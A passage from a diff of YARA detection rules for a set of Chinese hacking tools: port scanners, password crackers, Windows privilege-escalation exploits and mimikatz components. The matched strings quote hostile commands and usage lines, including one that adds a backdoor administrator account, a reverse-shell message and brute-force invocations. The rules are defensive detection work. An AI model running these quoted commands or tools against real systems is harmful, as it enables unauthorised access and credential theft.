+	meta:
+		description = "Chinese Hacktool Set - file arpsniffer.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "7d8753f56fc48413fc68102cff34b6583cb0066c"
+	strings:
+		$s1 = "SHELL" ascii
+		$s2 = "PacketSendPacket" fullword ascii
+		$s3 = "ArpSniff" ascii
+		$s4 = "pcap_loop" fullword ascii  /* Goodware String - occured 3 times */
+		$s5 = "packet.dll" fullword ascii  /* Goodware String - occured 4 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 120KB and all of them
+}
+
+rule pw_inspector_2 {
+	meta:
+		description = "Chinese Hacktool Set - file pw-inspector.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "e0a1117ee4a29bb4cf43e3a80fb9eaa63bb377bf"
+	strings:
+		$s1 = "Use for hacking: trim your dictionary file to the pw requirements of the target." fullword ascii
+		$s2 = "Syntax: %s [-i FILE] [-o FILE] [-m MINLEN] [-M MAXLEN] [-c MINSETS] -l -u -n -p " ascii
+		$s3 = "PW-Inspector" fullword ascii
+		$s4 = "i:o:m:M:c:lunps" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and 2 of them
+}
+
+rule datPcShare {
+	meta:
+		description = "Chinese Hacktool Set - file datPcShare.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "87acb649ab0d33c62e27ea83241caa43144fc1c4"
+	strings:
+		$s1 = "PcShare.EXE" fullword wide
+		$s2 = "MZKERNEL32.DLL" fullword ascii
+		$s3 = "PcShare" fullword wide
+		$s4 = "QQ:4564405" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 500KB and all of them
+}
+
+rule Tools_xport {
+	meta:
+		description = "Chinese Hacktool Set - file xport.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "9584de562e7f8185f721e94ee3cceac60db26dda"
+	strings:
+		$s1 = "Match operate system failed, 0x%00004X:%u:%d(Window:TTL:DF)" fullword ascii
+		$s2 = "Example: xport www.xxx.com 80 -m syn" fullword ascii
+		$s3 = "%s - command line port scanner" fullword ascii
+		$s4 = "xport 192.168.1.1 1-1024 -t 200 -v" fullword ascii
+		$s5 = "Usage: xport <Host> <Ports Scope> [Options]" fullword ascii
+		$s6 = ".\\port.ini" fullword ascii
+		$s7 = "Port scan complete, total %d port, %d port is opened, use %d ms." fullword ascii
+		$s8 = "Code by glacier <glacier@xfocus.org>" fullword ascii
+		$s9 = "http://www.xfocus.org" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and 2 of them
+}
+
+rule fakeauth_auth {
+	meta:
+		description = "Chinese Hacktool Set - file fakeauth_auth.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "4d6311159e10ffbb904059ccfda70fde2fee1f7e"
+	strings:
+		$s0 = "sending 'NA invalid credentials, user=%s' to squid" fullword ascii
+		$s11 = "BH wrong packet type! user=%s" fullword ascii
+		$s16 = "fakeauth_auth[%ld]: " fullword ascii
+		$s20 = "sending 'TT %s' to squid" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 260KB and all of them
+}
+
+rule Pc_xai {
+	meta:
+		description = "Chinese Hacktool Set - file xai.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "f285a59fd931ce137c08bd1f0dae858cc2486491"
+	strings:
+		$s1 = "Powered by CoolDiyer @ C.Rufus Security Team 05/19/2008  http://www.xcodez.com/" fullword wide
+		$s2 = "%SystemRoot%\\System32\\" fullword ascii
+		$s3 = "%APPDATA%\\" fullword ascii
+		$s4 = "---- C.Rufus Security Team ----" fullword wide
+		$s5 = "www.snzzkz.com" fullword wide
+		$s6 = "%CommonProgramFiles%\\" fullword ascii
+		$s7 = "GetRand.dll" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 3000KB and all of them
+}
+
+rule Radmin_Hash {
+	meta:
+		description = "Chinese Hacktool Set - file Radmin_Hash.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "be407bd5bf5bcd51d38d1308e17a1731cd52f66b"
+	strings:
+		$s1 = "<description>IEBars</description>" fullword ascii
+		$s2 = "PECompact2" fullword ascii
+		$s3 = "Radmin, Remote Administrator" fullword wide
+		$s4 = "Radmin 3.0 Hash " fullword wide
+		$s5 = "HASH1.0" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 600KB and all of them
+}
+
+rule OSEditor {
+	meta:
+		description = "Chinese Hacktool Set - file OSEditor.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "6773c3c6575cf9cfedbb772f3476bb999d09403d"
+	strings:
+		$s1 = "OSEditor.exe" fullword wide
+		$s2 = "netsafe" wide
+		$s3 = "OSC Editor" fullword wide
+		$s4 = "GIF89" ascii
+		$s5 = "Unlock" ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+rule GoodToolset_ms11011 {
+	meta:
+		description = "Chinese Hacktool Set - file ms11011.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "5ad7a4962acbb6b0e3b73d77385eb91feb88b386"
+	strings:
+		$s0 = "\\i386\\Hello.pdb" ascii
+		$s1 = "OS not supported." fullword ascii
+		$s3 = "Not supported." fullword wide  /* Goodware String - occured 3 times */
+		$s4 = "SystemDefaultEUDCFont" fullword wide  /* Goodware String - occured 18 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+rule FreeVersion_release {
+	meta:
+		description = "Chinese Hacktool Set - file release.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "f42e4b5748e92f7a450eb49fc89d6859f4afcebb"
+	strings:
+		$s1 = "-->Got WMI process Pid: %d " ascii
+		$s2 = "This exploit will execute \"net user " ascii
+		$s3 = "net user temp 123456 /add & net localgroup administrators temp /add" fullword ascii
+		$s4 = "Running reverse shell" ascii
+		$s5 = "wmiprvse.exe" fullword ascii
+		$s6 = "SELECT * FROM IIsWebInfo" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and 3 of them
+}
+
+rule churrasco {
+	meta:
+		description = "Chinese Hacktool Set - file churrasco.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "a8d4c177948a8e60d63de9d0ed948c50d0151364"
+	strings:
+		$s1 = "Done, command should have ran as SYSTEM!" ascii
+		$s2 = "Running command with SYSTEM Token..." ascii
+		$s3 = "Thread impersonating, got NETWORK SERVICE Token: 0x%x" ascii
+		$s4 = "Found SYSTEM token 0x%x" ascii
+		$s5 = "Thread not impersonating, looking for another thread..." ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 150KB and 2 of them
+}
+rule x64_KiwiCmd {
+	meta:
+		description = "Chinese Hacktool Set - file KiwiCmd.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "569ca4ff1a5ea537aefac4a04a2c588c566c6d86"
+	strings:
+		$s1 = "Process Ok, Memory Ok, resuming process :)" fullword wide
+		$s2 = "Kiwi Cmd no-gpo" fullword wide
+		$s3 = "KiwiAndCMD" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 400KB and 2 of them
+}
+
+rule sql1433_SQL {
+	meta:
+		description = "Chinese Hacktool Set - file SQL.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "025e87deadd1c50b1021c26cb67b76b476fafd64"
+	strings:
+		/* WIDE: ProductName 1433 */
+		$s0 = { 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 4E 00 61 00 6D 00 65 00 00 00 00 00 31 00 34 00 33 00 33 }
+		/* WIDE: ProductVersion 1,4,3,3 */
+		$s1 = { 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 31 00 2C 00 34 00 2C 00 33 00 2C 00 33 }
+	condition:
+		uint16(0) == 0x5a4d and filesize < 90KB and all of them
+}
+
+rule CookieTools2 {
+	meta:
+		description = "Chinese Hacktool Set - file CookieTools2.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "cb67797f229fdb92360319e01277e1345305eb82"
+	strings:
+		$s1 = "www.gxgl.com&www.gxgl.net" fullword wide
+		$s2 = "ip.asp?IP=" fullword ascii
+		$s3 = "MSIE 5.5;" fullword ascii
+		$s4 = "SOFTWARE\\Borland\\" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 700KB and all of them
+}
+
+rule cyclotron {
+	meta:
+		description = "Chinese Hacktool Set - file cyclotron.sys"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "5b63473b6dc1e5942bf07c52c31ba28f2702b246"
+	strings:
+		$s1 = "\\Device\\IDTProt" fullword wide
+		$s2 = "IoDeleteSymbolicLink" fullword ascii  /* Goodware String - occured 467 times */
+		$s3 = "\\??\\slIDTProt" fullword wide
+		$s4 = "IoDeleteDevice" fullword ascii  /* Goodware String - occured 993 times */
+		$s5 = "IoCreateSymbolicLink" fullword ascii /* Goodware String - occured 467 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 3KB and all of them
+}
+
+rule xscan_gui {
+	meta:
+		description = "Chinese Hacktool Set - file xscan_gui.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "a9e900510396192eb2ba4fb7b0ef786513f9b5ab"
+	strings:
+		$s1 = "%s -mutex %s -host %s -index %d -config \"%s\"" fullword ascii
+		$s2 = "www.target.com" fullword ascii
+		$s3 = "%s\\scripts\\desc\\%s.desc" fullword ascii
+		$s4 = "%c Active/Maximum host thread: %d/%d, Current/Maximum thread: %d/%d, Time(s): %l" ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 3000KB and all of them
+}
+
+rule CN_Tools_hscan {
+	meta:
+		description = "Chinese Hacktool Set - file hscan.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "17a743e40790985ececf5c66eaad2a1f8c4cffe8"
+	strings:
+		$s1 = "%s -f hosts.txt -port -ipc -pop -max 300,20 -time 10000" fullword ascii
+		$s2 = "%s -h 192.168.0.1 192.168.0.254 -port -ftp -max 200,20" fullword ascii
+		$s3 = "%s -h www.target.com -all" fullword ascii
+		$s4 = ".\\report\\%s-%s.html" fullword ascii
+		$s5 = ".\\log\\Hscan.log" fullword ascii
+		$s6 = "[%s]: Found cisco Enable password: %s !!!" fullword ascii
+		$s7 = "%s@ftpscan#FTP Account:  %s/[null]" fullword ascii
+		$s8 = ".\\conf\\mysql_pass.dic" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+rule GoodToolset_pr {
+	meta:
+		description = "Chinese Hacktool Set - file pr.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "f6676daf3292cff59ef15ed109c2d408369e8ac8"
+	strings:
+		$s1 = "-->Got WMI process Pid: %d " ascii
+		$s2 = "-->This exploit gives you a Local System shell " ascii
+		$s3 = "wmiprvse.exe" fullword ascii
+		$s4 = "Try the first %d time" fullword ascii
+		$s5 = "-->Build&&Change By p " ascii
+		$s6 = "root\\MicrosoftIISv2" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+rule hydra_7_4_1_hydra {
+	meta:
+		description = "Chinese Hacktool Set - file hydra.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "3411d0380a1c1ebf58a454765f94d4f1dd714b5b"
+	strings:
+		$s1 = "%d of %d target%s%scompleted, %lu valid password%s found" fullword ascii
+		$s2 = "[%d][smb] Host: %s Account: %s Error: ACCOUNT_CHANGE_PASSWORD" fullword ascii
+		$s3 = "hydra -P pass.txt target cisco-enable  (direct console access)" fullword ascii
+		$s4 = "[%d][smb] Host: %s Account: %s Error: PASSWORD EXPIRED" fullword ascii
+		$s5 = "[ERROR] SMTP LOGIN AUTH, either this auth is disabled" fullword ascii
+		$s6 = "\"/login.php:user=^USER^&pass=^PASS^&mid=123:incorrect\"" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and 2 of them
+}
+
+rule CN_Tools_srss_2 {
+	meta:
+		description = "Chinese Hacktool Set - file srss.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "c418b30d004051bbf1b2d3be426936b95b5fea6f"
+	strings:
+		$x1 = "used pepack!" fullword ascii
+
+		$s1 = "KERNEL32.dll" fullword ascii
+		$s2 = "KERNEL32.DLL" fullword ascii
+		$s3 = "LoadLibraryA" fullword ascii
+		$s4 = "GetProcAddress" fullword ascii
+		$s5 = "VirtualProtect" fullword ascii
+		$s6 = "VirtualAlloc" fullword ascii
+		$s7 = "VirtualFree" fullword ascii
+		$s8 = "ExitProcess" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and ( $x1 at 0 ) and filesize < 14KB and all of ($s*)
+}
+
+rule Dos_NtGod {
+	meta:
+		description = "Chinese Hacktool Set - file NtGod.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "adefd901d6bbd8437116f0170b9c28a76d4a87bf"
+	strings:
+		$s0 = "\\temp\\NtGodMode.exe" ascii
+		$s4 = "NtGodMode.exe" fullword ascii
+		$s10 = "ntgod.bat" fullword ascii
+		$s19 = "sfxcmd" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 250KB and all of them
+}
+
+rule CN_Tools_VNCLink {
+	meta:
+		description = "Chinese Hacktool Set - file VNCLink.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "cafb531822cbc0cfebbea864489eebba48081aa1"
+	strings:
+		$s1 = "C:\\temp\\vncviewer4.log" fullword ascii
+		$s2 = "[BL4CK] Patched by redsand || http://blacksecurity.org" fullword ascii
+		$s3 = "fake release extendedVkey 0x%x, keysym 0x%x" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 580KB and 2 of them
+}
+
+rule tools_NTCmd {
+	meta:
+		description = "Chinese Hacktool Set - file NTCmd.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "a3ae8659b9a673aa346a60844208b371f7c05e3c"
+	strings:
+		$s1 = "pipecmd \\\\%s -U:%s -P:\"\" %s" fullword ascii
+		$s2 = "[Usage]:  %s <HostName|IP> <Username> <Password>" fullword ascii
+		$s3 = "pipecmd \\\\%s -U:%s -P:%s %s" fullword ascii
+		$s4 = "============By uhhuhy (Feb 18,2003) - http://www.cnhonker.net============" fullword ascii /* PEStudio Blacklist: os */
+		$s5 = "=======================NTcmd v0.11 for HScan v1.20=======================" fullword ascii
+		$s6 = "NTcmd>" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 80KB and 2 of them
+}
+
+rule mysql_pwd_crack {
+	meta:
+		description = "Chinese Hacktool Set - file mysql_pwd_crack.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "57d1cb4d404688804a8c3755b464a6e6248d1c73"
+	strings:
+		$s1 = "mysql_pwd_crack 127.0.0.1 -x 3306 -p root -d userdict.txt" fullword ascii
+		$s2 = "Successfully --> username %s password %s " fullword ascii
+		$s3 = "zhouzhen@gmail.com http://zhouzhen.eviloctal.org" fullword ascii
+		$s4 = "-a automode  automatic crack the mysql password " fullword ascii
+		$s5 = "mysql_pwd_crack 127.0.0.1 -x 3306 -a" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and 1 of them
+}
+
+rule CmdShell64 {
+	meta:
+		description = "Chinese Hacktool Set - file CmdShell64.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "5b92510475d95ae5e7cd6ec4c89852e8af34acf1"
+	strings:
+		$s1 = "C:\\Windows\\System32\\JAVASYS.EXE" fullword wide
+		$s2 = "ServiceCmdShell" fullword ascii
+		$s3 = "<!-- If your application is designed to work with Windows 8.1, uncomment the fol" ascii
+		$s4 = "ServiceSystemShell" fullword wide
+		$s5 = "[Root@CmdShell ~]#" fullword wide
+		$s6 = "Hello Man 2015 !" fullword wide
+		$s7 = "CmdShell" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 30KB and 4 of them
+}
+
+rule Ms_Viru_v {
+	meta:
+		description = "Chinese Hacktool Set - file v.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "ecf4ba6d1344f2f3114d52859addee8b0770ed0d"
+	strings:
+		$s1 = "c:\\windows\\system32\\command.com /c " fullword ascii
+		$s2 = "Easy Usage Version -- Edited By: racle@tian6.com" fullword ascii
+		$s3 = "OH,Sry.Too long command." fullword ascii
+		$s4 = "Success! Commander." fullword ascii
+		$s5 = "Hey,how can racle work without ur command ?" fullword ascii
+		$s6 = "The exploit thread was unable to map the virtual 8086 address space" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and 3 of them
+}
+
+rule CN_Tools_Vscan {
+	meta:
+		description = "Chinese Hacktool Set - file Vscan.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "0365fe05e2de0f327dfaa8cd0d988dbb7b379612"
+	strings:
+		$s1 = "[+] Usage: VNC_bypauth <target> <scantype> <option>" fullword ascii
+		$s2 = "========RealVNC <= 4.1.1 Bypass Authentication Scanner=======" fullword ascii
+		$s3 = "[+] Type VNC_bypauth <target>,<scantype> or <option> for more informations" fullword ascii
+		$s4 = "VNC_bypauth -i 192.168.0.1,192.168.0.2,192.168.0.3,..." fullword ascii
+		$s5 = "-vn:%-15s:%-7d  connection closed" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 60KB and 2 of them
+}
+
+rule Dos_iis {
+	meta:
+		description = "Chinese Hacktool Set - file iis.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "61ffd2cbec5462766c6f1c44bd44eeaed4f3d2c7"
+	strings:
+		$s1 = "comspec" fullword ascii
+		$s2 = "program terming" fullword ascii
+		$s3 = "WinSta0\\Defau" fullword ascii
+		$s4 = "* FROM IIsWebInfo" ascii
+		$s5 = "www.icehack." ascii
+		$s6 = "wmiprvse.exe" fullword ascii
+		$s7 = "Pid: %d" ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 70KB and all of them
+}
+
+rule IISPutScannesr {
+	meta:
+		description = "Chinese Hacktool Set - file IISPutScannesr.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "2dd8fee20df47fd4eed5a354817ce837752f6ae9"
+	strings:
+		$s1 = "yoda & M.o.D." ascii
+		$s2 = "-> come.to/f2f **************" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 500KB and all of them
+}
+
+rule Generate {
+	meta:
+		description = "Chinese Hacktool Set - file Generate.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "2cb4c3916271868c30c7b4598da697f59e9c7a12"
+	strings:
+		$s1 = "C:\\TEMP\\" fullword ascii
+		$s2 = "Connection Closed Gracefully.;Could not bind socket. Address and port are alread" wide
+		$s3 = "$530 Please login with USER and PASS." fullword ascii
+		$s4 = "_Shell.exe" fullword ascii
+		$s5 = "ftpcWaitingPassword" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 2000KB and 3 of them
+}
+
+rule Pc_rejoice {
+	meta:
+		description = "Chinese Hacktool Set - file rejoice.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "fe634a9f5d48d5c64c8f8bfd59ac7d8965d8f372"
+	strings:
+		$s1 = "@members.3322.net/dyndns/update?system=dyndns&hostname=" fullword ascii
+		$s2 = "http://www.xxx.com/xxx.exe" fullword ascii
+		$s3 = "@ddns.oray.com/ph/update?hostname=" fullword ascii
+		$s4 = "No data to read.$Can not bind in port range (%d - %d)" fullword wide
+		$s5 = "ListViewProcessListColumnClick!" fullword ascii
+		$s6 = "http://iframe.ip138.com/ic.asp" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 3000KB and 3 of them
+}
+
+rule ms11080_withcmd {
+	meta:
+		description = "Chinese Hacktool Set - file ms11080_withcmd.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "745e5058acff27b09cfd6169caf6e45097881a49"
+	strings:
+		$s1 = "Usage : ms11-080.exe cmd.exe Command " fullword ascii
+		$s2 = "\\ms11080\\ms11080\\Debug\\ms11080.pdb" fullword ascii
+		$s3 = "[>] by:Mer4en7y@90sec.org" fullword ascii
+		$s4 = "[>] create porcess error" fullword ascii
+		$s5 = "[>] ms11-080 Exploit" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and 1 of them
+}
+
+rule OtherTools_xiaoa {
+	meta:
+		description = "Chinese Hacktool Set - file xiaoa.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "6988acb738e78d582e3614f83993628cf92ae26d"
+	strings:
+		$s1 = "Usage:system_exp.exe \"cmd\"" fullword ascii
+		$s2 = "The shell \"cmd\" success!" fullword ascii
+		$s3 = "Not Windows NT family OS." fullword ascii /* PEStudio Blacklist: os */
+		$s4 = "Unable to get kernel base address." fullword ascii
+		$s5 = "run \"%s\" failed,code: %d" fullword ascii
+		$s6 = "Windows Kernel Local Privilege Exploit " fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and 2 of them
+}
+
+rule unknown2 {
+	meta:
+		description = "Chinese Hacktool Set - file unknown2.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "32508d75c3d95e045ddc82cb829281a288bd5aa3"
+	strings:
+		$s1 = "http://md5.com.cn/index.php/md5reverse/index/md/" fullword wide
+		$s2 = "http://www.md5decrypter.co.uk/feed/api.aspx?" fullword wide
+		$s3 = "http://www.md5.com.cn" fullword wide
+		$s4 = "1.5.exe" fullword wide
+		$s5 = "\\Set.ini" fullword wide
+		$s6 = "OpenFileDialog1" fullword wide
+		$s7 = " (*.txt)|*.txt" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and 4 of them
+}
+
+rule mswin_auth {
+	meta:
+		description = "Chinese Hacktool Set - file mswin_auth.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "512cbd02f6fe69482e005a067db4eb07ce62d5a0"
+	strings:
+		$s1 = "No such user or wrong password" fullword ascii
+		$s2 = "%s [-A|D UserGroup][-O DefaultDomain][-d]" fullword ascii
+		$s3 = "mswin_auth[%d]: " fullword ascii
+		$s4 = "Unknown option: -%c. Exiting" fullword ascii
+		$s5 = "-D can specify a Windows Local Group name not allowed to authenticate" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 150KB and all of them
+}
+
+rule hydra_7_3_hydra {
+	meta:
+		description = "Chinese Hacktool Set - file hydra.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "2f82b8bf1159e43427880d70bcd116dc9e8026ad"
+	strings:
+		$s1 = "[ATTEMPT-ERROR] target %s - login \"%s\" - pass \"%s\" - child %d - %lu of %lu" fullword ascii
+		$s2 = "(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=))(COMMAND=reload)(PASSWORD=%s)(SERVICE" ascii
+		$s3 = "cn=^USER^,cn=users,dc=foo,dc=bar,dc=com for domain foo.bar.com" fullword ascii
+		$s4 = "[%d][smb] Host: %s Account: %s Error: ACCOUNT_CHANGE_PASSWORD" fullword ascii
+		$s5 = "hydra -P pass.txt target cisco-enable  (direct console access)" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 700KB and 1 of them
+}
+
+rule OracleScan {
+	meta:
+		description = "Chinese Hacktool Set - file OracleScan.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "10ff7faf72fe6da8f05526367b3522a2408999ec"
+	strings:
+		$s1 = "MYBLOG:HTTP://HI.BAIDU.COM/0X24Q" fullword ascii
+		$s2 = "\\Borland\\Delphi\\RTL" fullword ascii
+		$s3 = "USER_NAME" ascii
+		$s4 = "FROMWWHERE" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+rule SQLTools {
+	meta:
+		description = "Chinese Hacktool Set - file SQLTools.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "38a9caa2079afa2c8d7327e7762f7ed9a69056f7"
+	strings:
+		$s1 = "DBN_POST" fullword wide
+		$s2 = "LOADER ERROR" fullword ascii
+		$s3 = "www.1285.net" fullword wide
+		$s4 = "TUPFILEFORM" fullword wide
+		$s5 = "DBN_DELETE" fullword wide
+		$s6 = "DBINSERT" fullword wide
+		$s7 = "Copyright (C) Kibosoft Corp. 2001-2006" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 2350KB and all of them
+}
+
+rule portscanner {
+	meta:
+		description = "Chinese Hacktool Set - file portscanner.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "1de367d503fdaaeee30e8ad7c100dd1e320858a4"
+	strings:
+		$s0 = "PortListfNo" fullword ascii
+		$s1 = ".533.net" fullword ascii
+		$s2 = "CRTDLL.DLL" fullword ascii
+		$s3 = "exitfc" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 25KB and all of them
+}
+
+rule kappfree {
+	meta:
+		description = "Chinese Hacktool Set - file kappfree.dll"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "e57e79f190f8a24ca911e6c7e008743480c08553"
+	strings:
+		$s1 = "Bienvenue dans un processus distant" fullword wide
+		$s2 = "kappfree.dll" fullword ascii
+		$s3 = "kappfree de mimikatz pour Windows (anti AppLocker)" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+rule Smartniff {
+	meta:
+		description = "Chinese Hacktool Set - file Smartniff.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "67609f21d54a57955d8fe6d48bc471f328748d0a"
+	strings:
+		$s1 = "smsniff.exe" fullword wide
+		$s2 = "support@nirsoft.net0" fullword ascii
+		$s3 = "</requestedPrivileges></security></trustInfo></assembly>" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+rule ChinaChopper_caidao {
+	meta:
+		description = "Chinese Hacktool Set - file caidao.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "056a60ec1f6a8959bfc43254d97527b003ae5edb"
+	strings:
+		$s1 = "Pass,Config,n{)" fullword ascii
+		$s2 = "phMYSQLZ" fullword ascii
+		$s3 = "\\DHLP\\." fullword ascii
+		$s4 = "\\dhlp\\." fullword ascii
+		$s5 = "SHAutoComple" fullword ascii
+		$s6 = "MainFrame" ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1077KB and all of them
+}
+
+rule KiwiTaskmgr_2 {
+	meta:
+		description = "Chinese Hacktool Set - file KiwiTaskmgr.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "8bd6c9f2e8be3e74bd83c6a2d929f8a69422fb16"
+	strings:
+		$s1 = "Process Ok, Memory Ok, resuming process :)" fullword wide
+		$s2 = "Kiwi Taskmgr no-gpo" fullword wide
+		$s3 = "KiwiAndTaskMgr" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+rule kappfree_2 {
+	meta:
+		description = "Chinese Hacktool Set - file kappfree.dll"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "5d578df9a71670aa832d1cd63379e6162564fb6b"
+	strings:
+		$s1 = "kappfree.dll" fullword ascii
+		$s2 = "kappfree de mimikatz pour Windows (anti AppLocker)" fullword wide
+		$s3 = "' introuvable !" fullword wide
+		$s4 = "kiwi\\mimikatz" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and 2 of them
+}
+
+rule x_way2_5_sqlcmd {
+	meta:
+		description = "Chinese Hacktool Set - file sqlcmd.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "5152a57e3638418b0d97a42db1c0fc2f893a2794"
+	strings:
